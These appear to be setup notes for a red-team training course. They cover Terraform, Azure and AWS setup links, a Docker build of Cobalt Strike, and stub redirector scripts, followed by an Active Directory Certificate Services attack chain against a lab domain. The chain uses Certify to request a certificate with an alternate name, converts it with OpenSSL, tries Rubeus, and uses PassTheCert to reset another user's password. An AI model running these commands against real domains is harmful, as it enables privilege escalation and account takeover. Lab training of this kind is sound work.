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Getting Azure Account setup with Windows or Mac:
https://learn.microsoft.com/en-us/azure/developer/terraform/get-started-windows-bash?tabs=bash

Make sure you generate your AWS access keys:
https://docs.aws.amazon.com/powershell/latest/userguide/pstools-appendix-sign-up.html

I am using Visual studio code for Terraform projects. This gives us nixe syntax highlighting and colors. Works really well
https://code.visualstudio.com/download


We are using Docker version for cobal strike:
https://github.com/WKL-Sec/docker-cobaltstrike


Make sure you get terrafrom installed and install text editor of your choice since we modify few of the projects on Day 1

https://developer.hashicorp.com/terraform/downloads


Creating Azure service principal:
https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/guides/service_principal_client_secret



Server Setup redirector bash script from page 61:

#!/bin/bash

# sleep until instance is ready
until [[ -f /var/lib/cloud/instance/boot-finished ]]; do
  sleep 1
done

Domain setup redirector batch script:

#!/bin/bash
# sleep until instance is ready
until [[ -f /var/lib/cloud/instance/boot-finished ]]; do
  sleep 1
Done



Certify.exe find /cas

Certify.exe find /vulnerable /currentuser

Certify.exe request /ca:STIG-ADCS.stigs-corp.local\stigs-corp-STIG-ADCS-CA-1 /template:UserApplicationAuth /altname:stigs

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# This doe snot work this is intended - This shows PKINT is not setup on DC
Rubeus.exe asktgt /user:stigs /certificate:cert.pfx /ptt

Reference for PassTheCert:
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

PassTheCert.exe --server stig-dc01.stigs-corp.local --cert-path C:\Users\ghatcher\Downloads\cert.pfx --whoami

PassTheCert.exe --server stig-dc01.stigs-corp.local --cert-path C:\Users\ghatcher\Downloads\cert.pfx --reset-password --target "CN=Brad Johnson,CN=Users,DC=stigs-corp,DC=local"
